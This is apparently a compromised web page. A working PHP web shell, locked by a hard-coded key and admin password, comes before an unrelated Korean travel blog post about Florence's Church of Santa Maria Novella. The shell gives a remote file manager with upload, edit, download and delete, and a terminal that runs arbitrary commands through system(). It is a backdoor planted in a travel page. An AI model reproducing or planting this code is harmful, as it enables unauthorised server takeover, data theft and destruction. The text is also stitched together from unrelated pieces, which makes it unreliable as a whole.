if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[๐Ÿ“‚ Home] '; echo '[๐Ÿ–ฅ๏ธ Terminal] '; echo '[๐Ÿ’พ Drives] '; echo '[๐ŸŒณ Tree] '; echo '[โฌ† Upload] '; echo '[๐Ÿšช Logout]'; echo '
'; switch ($act) { case 'upload': echo '

โฌ† Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

โœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

โŒ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

โŒ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

๐Ÿ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '๐Ÿ“ '.$item."/\n";
                    else echo '๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

๐ŸŒณ Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'๐Ÿ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

๐Ÿ’พ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

๐Ÿ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'โœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

๐Ÿ–ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'โœ… Deleted: '.htmlspecialchars($f); else echo 'โŒ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'โœ… Directory removed: '.htmlspecialchars($f); else echo 'โŒ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'โœ… Created: '.htmlspecialchars($dest); else echo 'โŒ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'โœ… Created dir: '.htmlspecialchars($dest); else echo 'โŒ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

๐Ÿ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo 'โฌ† Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[โฌ† Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
๐Ÿ“ '.$item.'๐Ÿ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } [์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰] ํ”ผ๋ Œ์ฒด ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) | GoodTrip

[์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰] ํ”ผ๋ Œ์ฒด ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella)

์ž‘์„ฑ์ž:

ํ”ผ๋ Œ์ฒด ๋‘์˜ค๋ชจ ๊ทธ๋ฆฌ๊ณ  ์กฐํ† ์˜ ์ข…ํƒ‘์„ ์˜ฌ๋ผ๊ฐ„ ํ›„ ์šฐ๋ฆฌ๊ฐ€ ํ–ฅํ•œ ๊ณณ์€ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella)์ด์—ˆ๋‹ค.

์‚ฌ์‹ค ํ”ผ๋ Œ์ฒด๋ฅผ ๋ฐฉ๋ฌธํ•˜๊ธฐ์ „์— ๋ฅด๋„ค์ƒ์Šค ์˜ˆ์ˆ ์— ๋Œ€ํ•ด์„œ ์•„์ฃผ ์กฐ๊ธˆ ๊ณต๋ถ€๋ฅผ ํ•œ ์ ์ด ์žˆ๋‹ค.

๊ทธ ์ค‘์—์„œ ๋ฅด๋„ค์ƒ์Šค ๋ฏธ์ˆ  ์‹œ๋Œ€๋ฅผ ์—ด์—ˆ๋˜ ์ฒœ์žฌ๋กœ ์•Œ๋ ค์ง„ ๋งˆ์‚ฌ์ดˆ์— ๋Œ€ํ•ด์„œ๋„ ์กฐ๊ธˆ ๊ณต๋ถ€๋ฅผ ํ–ˆ์—ˆ๋‹ค.

[์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰] ํ”ผ๋ Œ์ฒด ๋ฅด๋„ค์ƒ์Šค ๋ฏธ์ˆ  ์‹œ์ดˆ๊ฐ€ ๋œ ์ฒœ์žฌ ํ™”๊ฐ€ ๋งˆ์‚ฌ์ดˆ ์ด์•ผ๊ธฐ

๊ทธ์˜ ์ž‘ํ’ˆ์€ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(์ดํƒˆ๋ฆฌ์•„์–ด Basilica di Santa Maria Novella, ์˜์–ด Church of Santa Maria Novella)์™€ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋ธ ์นด๋ฅด๋ฏธ๋„ค ์„ฑ๋‹น(The Church of Santa Maria del Carmine)์— ์ง‘์ค‘์ ์œผ๋กœ ๋ณด๊ด€๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด ๋‘ ์„ฑ๋‹น์€ ์–ด๋–ป๊ฒŒ๋“  ๋ฐฉ๋ฌธํ•ด ๋ณด๊ณ  ์‹ถ์—ˆ๋‹ค.

๊ทธ๋žฌ๊ธฐ์— ์ƒ๋‹นํžˆ ๊ธฐ๋Œ€๋ฅผ ์•ˆ๊ณ  ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น์„ ๋‘˜๋Ÿฌ๋ณด์•˜๋‹ค.

1. ๊ตํ†ต์˜ ์š”์ง€์— ์ž๋ฆฌํ•œ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น

์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น์€ ํ”ํžˆ ํ”ผ๋ Œ์ฒด์—ญ์ด๋ผ๊ณ  ๋ถ€๋ฅด๋Š” ์‚ฐํƒ€ ๋งˆ๋ฆฌ์— ๋…ธ๋ฒจ๋ผ์—ญ์—์„œ 1~2๋ถ„ ๋‚ด์— ์ž๋ฆฌํ•˜๊ณ  ์žˆ๋‹ค.

๋งŒ์•ฝ ์—ด์ฐจ๋ฅผ ํƒ€๊ณ ์„œ ํ”ผ๋ Œ์ฒด์— ๋„์ฐฉํ•œ๋‹ค๋ฉด ์ฒซ๋ฒˆ์งธ ๋ฐฉ๋ฌธ์ง€๋กœ ์ด ์‚ฐํƒ€๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น์„ ์„ ํƒํ•˜๋Š” ๊ฒƒ๋„ ํšจ์œจ์ ์ธ ํ”ผ๋ Œ์ฒด ์—ฌํ–‰์˜ ํ•œ ๋ฐฉํŽธ์ด ๋˜ ์ˆ˜ ์žˆ๋‹ค.

์ด ์ฃผ๋ณ€์˜ ์—ฌํ–‰์ง€ ์ด๋ฆ„์€ ๋ชจ๋‘ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ๋กœ ํ†ต์ผ ๋˜์–ด ์žˆ๋Š”๋ฐ, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์—ญ, ์‚ฐํƒ€๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์•ฝ๊ตญ ๋“ฑ๋“ฑ์œผ๋กœ ๋ง์ด๋‹ค.

์ด๋Ÿฌํ•œ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ๋Š” ์ด๋ฆ„์€ 9์„ธ๊ธฐ๊ฒฝ ์ด ์„ฑ๋‹นํ„ฐ์— ๋„๋ฏธ๋‹ˆ์ฝ”์ˆ˜๋„ํšŒ๊ฐ€ ์ƒˆ๋กญ๊ฒŒ ์„ฑ๋‹น์„ ์žฌ๊ฑดํ•˜๋ฉด์„œ ‘์„ฑ๋ชจ ๋งˆ๋ฆฌ์•„์˜ ์ƒˆ๋กœ์šด ์„ฑ๋‹น’์ด๋ผ๋Š” ์˜๋ฏธ๋กœ ๋…ธ๋ฒจ๋ผ(New)๋ฅผ ๋ถ™์—ฌ์„œ ๋ถ€๋ฆฌ๊ธฐ ์‹œ์ž‘ํ–ˆ๋‹ค๊ณ  ํ•œ๋‹ค.

2. ๋ฅด๋„ค์ƒ์Šค ๊ฑด์ถ•๊ฐ€ ์•Œ๋ฒ ๋ฅดํ‹ฐ์˜ ๊ฑด์ถ• ์ด์ƒ์ด ๋‹ด๊ธฐ๋‹ค.

์œ ๋Ÿฝ์˜ ์„ฑ๋‹น๋“ค์€ ์˜ค๋žœ ์‹œ๊ฐ„์— ๊ฑธ์ณ ์„ฑ๋‹น์„ ์™„์„ฑ์‹œํ‚จ๋‹ค. ๋‹น์‹œ ๊ฑด์ถ• ๊ธฐ์ˆ ์˜ ํ•œ๊ณ„๋„ ์žˆ๊ณ  ์˜ˆ์‚ฐ ๋ฌธ์ œ ๋“ฑ๋“ฑ ์—ฌ๋Ÿฌ๊ฐ€์ง€ ์ด์œ ๊ฐ€ ์žˆ๊ฒ ์ง€๋งŒ ๋งŽ์€ ๊ฒฝ์šฐ๋Š” ์ œ๋Œ€๋กœ ๋œ ์„ฑ๋‹น์„ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด์„œ ์ ์ž„์ž๊ฐ€ ๋‚˜ํƒ€๋‚  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ๋ฉด ๋ช‡๋ฐฑ๋…„์— ๊ฑธ์ณ ์™„๊ณตํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ํ—ˆ๋‹คํ•˜๋‹ค.

์ด์ „์— ๋ฐฉ๋ฌธํ–ˆ๋˜ ๋ฐ€๋ผ๋…ธ๋Œ€์„ฑ๋‹น์€ ๋ฌด๋ ค 400์—ฌ๋…„์— ๊ฑธ์ณ ๊ฑด์„ค๋˜์—ˆ๊ณ , ํ”ผ๋ Œ์ฒด๋Œ€์„ฑ๋‹น๋„ ๊ณต์‚ฌ๊ฐ€ ์ค‘๋‹จ๋˜๊ณ  ๋‹ค์‹œ ์‹œ์ž‘๋˜๊ธฐ๋ฅผ ๋˜ํ’€์ดํ•˜๋ฉด์„œ ๋ฌด๋ ค 175๋…„์ด ๊ฑธ๋ ค ์™„์„ฑ๋˜์—ˆ๋‹ค.

์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) ์ „๊ฒฝ, ยฉ All Rights Reserved - Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) ์ „๊ฒฝ, ยฉ All Rights Reserved – Choi dongsoon

1246๋…„๋ถ€ํ„ฐ ๋„๋ฏธ์ฝ” ์ˆ˜๋„ํšŒ ์ˆ˜๋„์‚ฌ๋“ค์ด ๊ฑด์ถ•์„ ์‹œ์ž‘ํ•ด 1360๋…„ ๋ฏธ์™„์„ฑ ์ƒํƒœ๋กœ ๊ณต๊ฐœ๋œ๋‹ค. ์ฆ‰ ์„ฑ๋‹น ํŒŒ์‚ฌ๋“œ์˜ ํ•˜๋‹จ ๋ถ€๋ถ„๋งŒ ์™„์„ฑ๋˜์—ˆ๊ณ  ๋‚˜๋จธ์ง€๋Š” ์ค‘๋‹จ๋œ ๊ฒƒ์ด๋‹ค.

์˜ค๋žœ๋™์•ˆ ์ค‘๋‹จ๋œ ์ฑ„ ์‚ฌ์šฉ๋˜๋˜ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น์€ ํ”ผ๋ Œ์ฒด์˜ ๊ฑฐ๋ถ€์ธ ๋ฃจ์ฒผ๋ผ์ด(Rucellai) ๊ฐ€๋ฌธ์˜ ์ง€์›ํ•˜์— ๋ฅด๋„ค์ƒ์Šค ๊ฑด์ถ• ์‹œ๋Œ€๋ฅผ ์—ด์—ˆ๋˜ ‘์•Œ๋ฒ ๋ฅดํ‹ฐ(
Leon Battista Alberti )’์— ์˜ํ•ด์„œ 1470๋…„ ์™„์„ฑ๋œ๋‹ค.

1458๋…„, ์กฐ๋ฐ˜๋‹ˆ ๋ฃจ์ฒผ๋ผ์ด๋Š” ์ž์‹ ์ด ๋‹ค๋‹ˆ๊ณ  ์žˆ์—ˆ๋˜ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น์˜ ์ •๋ฉด ํŒŒ์‚ฌ๋“œ๋ฅผ ๋””์ž์ธํ•ด ๋‹ฌ๋ผ๊ณ  ์•Œ๋ฒ ๋ฅดํ‹ฐ์—๊ฒŒ ์ฃผ๋ฌธํ–ˆ๋‹ค.

์ด์— ์•Œ๋ฒ ๋ฅดํ‹ฐ๋Š” ๊ธฐ์กด ์„ฑ๋‹น ํŒŒ์‚ฌ๋“œ ์–‘์‹์„ ํƒˆํ”ผํ•œ ๊ณ ์ „์ ์ด๋ฉด์„œ๋„ ํ˜์‹ ์ ์ธ ํŒŒ์‚ฌ๋“œ๋ฅผ ๋””์ž์ธํ•œ๋‹ค. ํ•˜๋‹จ์— ๋„ค๊ฐœ์˜ ๋„ค๊ฐœ์˜ ๊ธฐ๋‘ฅ์„ ๊ฑด๋ฌผ์•ˆ์œผ๋กœ ์ง‘์–ด๋„ฃ๊ณ  ์ƒํ•˜๋‹จ์„ ๋ถ„๋ฆฌํ•œ ๋‹ค์Œ ๋น„๋ก€์™€ ์กฐํ™”๋ฅผ ์ง€ํ‚ค๋ฉด์„œ๋„ ํŒŒ๊ฒฉ์ ์ธ ๋ฌธ์–‘์„ ์ง‘์–ด ๋„ฃ์—ˆ๋‹ค.

  • ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น์ด ๋„๋ฏธ๋‹ˆ์ฝ” ์ˆ˜๋„ํšŒ ์†Œ์† ์„ฑ๋‹น์ž„์„ ๋‚˜ํƒ€๋‚ด๊ธฐ ์œ„ํ•ด ํŒŒ์‚ฌ๋“œ ์ตœ์ƒ๋‹จ์„ ๊ฑฐ๋Œ€ํ•œ ํƒœ์–‘ ์ด๋ฏธ์ง€๋กœ ์žฅ์‹
  • ํŒŒ์‚ฌ๋“œ ํ•˜๋‹จ ์ค‘์•™ ์ถœ์ž…๋ฌธ ์œ„์— ๋ฉ”๋””์น˜ ๊ฐ€๋ฌธ์˜ ‘๋‹ค์ด์•„๋ชฌ๋“œ’ ๋ฌธ์–‘์„ ๋„ฃ์–ด ๋‹น์‹œ ํ”ผ๋ Œ์ฒด๋ฅผ ํ†ต์น˜ํ•˜๋˜ ๋ฉ”๋””์น˜๊ฐ€๋ฌธ์— ๋Œ€ํ•œ ๋ฃจ์ฒผ๋ผ์ด ๊ฐ€๋ฌธ์˜ ์ถฉ์„ฑ์‹ฌ(?)์„ ํ‘œํ˜„
  • ํŒŒ์‚ฌ๋“œ ํ•˜๋‹จ๊ณผ ์ƒ๋‹จ์„ ๋ถ„๋ฆฌํ•˜๋Š” ๋ถ„๋ฆฌ๋Œ€์—๋Š” ๋ฃจ์ฒผ๋ผ์ด ๊ฐ€๋ฌธ์˜ ‘๋š๋‹จ๋ฐฐ’๋ฌธ์–‘์œผ๋กœ ์žฅ์‹
  • ์ƒ๋ถ€์˜ ์ขŒ์šฐ๋Š” ๊ฐ™์€ ๋””์ž์ธ์˜ ์†Œ์šฉ๋Œ์ด ์žฅ์‹์„ ๋ฐฐ์น˜ํ•ด ์ขŒ์šฐ ๊ท ํ˜•๋ฏธ๋ผ๋Š” ๋ฅด๋„ค์ƒ์Šค ํŠน์ง•์„ ๋ณด์—ฌ์ฃผ๋ฉฐ ์ด๋Š” ์ดํƒˆ๋ฆฌ์•„ ์„ฑ๋‹น ํŒŒ์‚ฌ๋“œ์˜ ๊ทœ๋ฒ”์ด ๋œ๋‹ค.
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) ์ •๋ฉด ํŒŒ์‚ฌ๋“œ, ยฉ All Rights Reserved - Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) ์ •๋ฉด ํŒŒ์‚ฌ๋“œ, ์•Œ๋ฒ ๋ฅดํ‹ฐ(Leon Battista Alberti)๊ฐ€ ๋””์ž์ธ ํ–ˆ๋‹ค, ยฉ All Rights Reserved – Choi dongsoon

[์ง€์‹ Tips] ํŒŒ์‚ฌ๋“œ(Faรงade)๋ž€ ๋ฌด์—‡์ธ๊ฐ€?

์œ ๋Ÿฝ์„ ์—ฌํ–‰ํ•˜๋‹ค๋ณด๋ฉด ํŒŒ์‚ฌ๋“œ๋ž€ ๋‹จ์–ด๋ฅผ ๋งŽ์ด ๋“ฃ๊ฒŒ ๋œ๋‹ค. ์œ ๋Ÿฝ๋ฟ๋งŒ์ด ์•„๋‹ˆ๋ผ ๊ธฐ๋…๊ต ๋ฌธํ™”์™€ ๊ด€๋ จ์žˆ๋Š” ์„ฑ๋‹น๋“ฑ์˜ ์„ค๋ช…์—์„œ ํŒŒ์‚ฌ๋“œ๋ž€ ๋‹จ์–ด๋Š” ๋น ์ง€์ง€ ์•Š๋Š”๋‹ค.

๋„๋Œ€์ฒด ํŒŒ์‚ฌ๋“œ๊ฐ€ ๋ฌด์—‡์ผ๊นŒ? ์œ„ํ‚ค์˜ ์ •์˜๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค. ๊ฑด๋ฌผ์˜ ‘์ •๋ฉด’์„ ์˜๋ฏธํ•œ๋‹ค๊ณ  ํ•œ๋‹ค.

ํŒŒ์‚ฌ๋“œ(ํ”„๋ž‘์Šค์–ด: Faรงade)๋Š” ๊ฑด๋ฌผ์˜ ์ถœ์ž…๊ตฌ๋กœ ์ด์šฉ๋˜๋Š” ์ •๋ฉด ์™ธ๋ฒฝ ๋ถ€๋ถ„์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ง์ด๋‹ค. ํ•œ๊ธ€ํ™”ํ•˜์—ฌ ์ˆœํ™”ํ•˜๋ ค๋ฉด ‘์ •๋ฉด'(ๆญฃ้ข)์ด ๋ฌด๋‚œํ•  ๊ฒƒ์œผ๋กœ ์—ฌ๊ฒจ์ง„๋‹ค. ๊ฑด์ถ•์—์„œ ํŒŒ์‚ฌ๋“œ์˜ ๊ถ๊ทน์  ๋ชฉ์ ์€ ‘์†Œํ†ต’์ด๋‹ค. ๊ฑด๋ฌผ์˜ ์ž…๋ฉด์ด ๋‹ค์–‘ํ•ด์ง€๋ฉด์„œ ํŒŒ์‚ฌ๋“œ๋Š” ๊ฑด๋ฌผ ์™ธํ”ผ ์ „์ฒด๋ฅผ ์˜๋ฏธํ•˜๊ธฐ๋„ ํ•œ๋‹ค.- ์œ„ํ‚ค๋ฐฑ๊ณผ ์ธ์šฉ

3. ์„ฑ๋‹น ๋‚ด๋ถ€๋กœ ๊ฐ€๋ณด์ž.

์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น ๊ด€๋žŒํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ํŒŒ์‚ฌ๋“œ๊ฐ€ ์•„๋‹Œ ์˜ค๋ฅธ์ชฝ ํšŒ๋ž‘์„ ํ†ตํ•ด ๋“ค์–ด๊ฐ€์•ผ ํ•œ๋‹ค.

์•„๋ž˜๋Š” ์„ฑ๋‹น์œผ๋กœ ๋“ค์–ด๊ฐ€๋Š” ํšŒ๋ž‘ ์ชฝ ์‚ฌ์ง„์ด๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) ์ž…๊ตฌ ์ชฝ ์ „๊ฒฝ, ยฉ All Rights Reserved - Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) ์ž…๊ตฌ ์ชฝ ์ „๊ฒฝ, ยฉ All Rights Reserved – Choi dongsoon

๋ฌผ๋ก  ์—ฌ๊ธฐ ์ž…์žฅ์„ ์œ„ํ•ด์„œ๋Š” 1์ธ๋‹น 7.5์œ ๋กœ๋ฅผ ๋‚ด์•ผ ํ•œ๋‹ค.

์„ฑ๋‹น ์ „์ฒด ๊ตฌ์กฐ๋ฅผ ์ดํ•ดํ•˜๋Š”๊ฒŒ ๊ด€๋žŒ๋ ˆ ๋„์›€์ด ๋ ๊ฒƒ ๊ฐ™์•„์„œ ์ด ์„ฑ๋‹น์˜ ์กฐ๊ฐ๋„๋ฅผ ์ฐธ๊ณ ํ•ด๋ณด์ž. ๋‹ค์Œ์— ๋‚˜์˜ค๋Š” ์ง€๋„์™€ ๋งค์นญํ•ด ๋ณด๋Š”๋ฐ ๋„์›€์ด ๋  ๊ฒƒ์ด๋‹ค.

์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(์ดํƒˆ๋ฆฌ์•„์–ด Basilica di Santa Maria Novella, ์˜์–ด Church of Santa Maria Novella) ์กฐ๊ฐ
์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(์ดํƒˆ๋ฆฌ์•„์–ด Basilica di Santa Maria Novella, ์˜์–ด Church of Santa Maria Novella) ์กฐ๊ฐ๋„
์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(์ดํƒˆ๋ฆฌ์•„์–ด Basilica di Santa Maria Novella, ์˜์–ด Church of Santa Maria Novella) ์•ˆ๋‚ด
์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(์ดํƒˆ๋ฆฌ์•„์–ด Basilica di Santa Maria Novella, ์˜์–ด Church of Santa Maria Novella) ์•ˆ๋‚ด๋„

์•„๋ž˜ ์„ฑ๋‹น ๋‚ด๋ถ€ ๋ชจ์Šต์ด๋‹ค. . ๋ฐ–์—์„œ ๋ณผ ๋•Œ ๊ทธ๋ ‡๊ฒŒ ํฐ ์„ฑ๋‹น์ด๋ผ๋Š” ์ƒ๊ฐ์„ ๋ชปํ–ˆ๋Š”๋ฐ ๋ง‰์ƒ ์ž…์žฅํ•ด๋ณด๋ฉด ๊ต‰์žฅํžˆ ํฌ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์•„๋ž˜ ๋‚ด๋ถ€ ์‚ฌ์ง„์„ ๋ณด๋ฉด ์–ด๋Š์ •๋„ ์ดํ•ด๊ฐ€ ๋  ๊ฒƒ์ด๋‹ค. ์ด์™ธ์—๋„ ์—ฌ๋Ÿฌ๊ฐœ์˜ ๋…๋ฆฝ์ ์ธ ์˜ˆ๋ฐฐ๋‹น์ด ์žˆ๋Š”๋ฐ ์—ฌ๊ธฐ๋ฅผ ๊ด€๋žŒํ•˜์—ฌ๋ฉด ์ถ”๊ฐ€๋กœ ๋ˆ์„ ๋‚ด์•ผ ํ•œ๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) ๋‚ด๋ถ€ ์ „๊ฒฝ, BY-ND faungg's photos
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น(Church of Santa Maria Novella) ๋‚ด๋ถ€ ์ „๊ฒฝ, BY-ND faungg’s photos

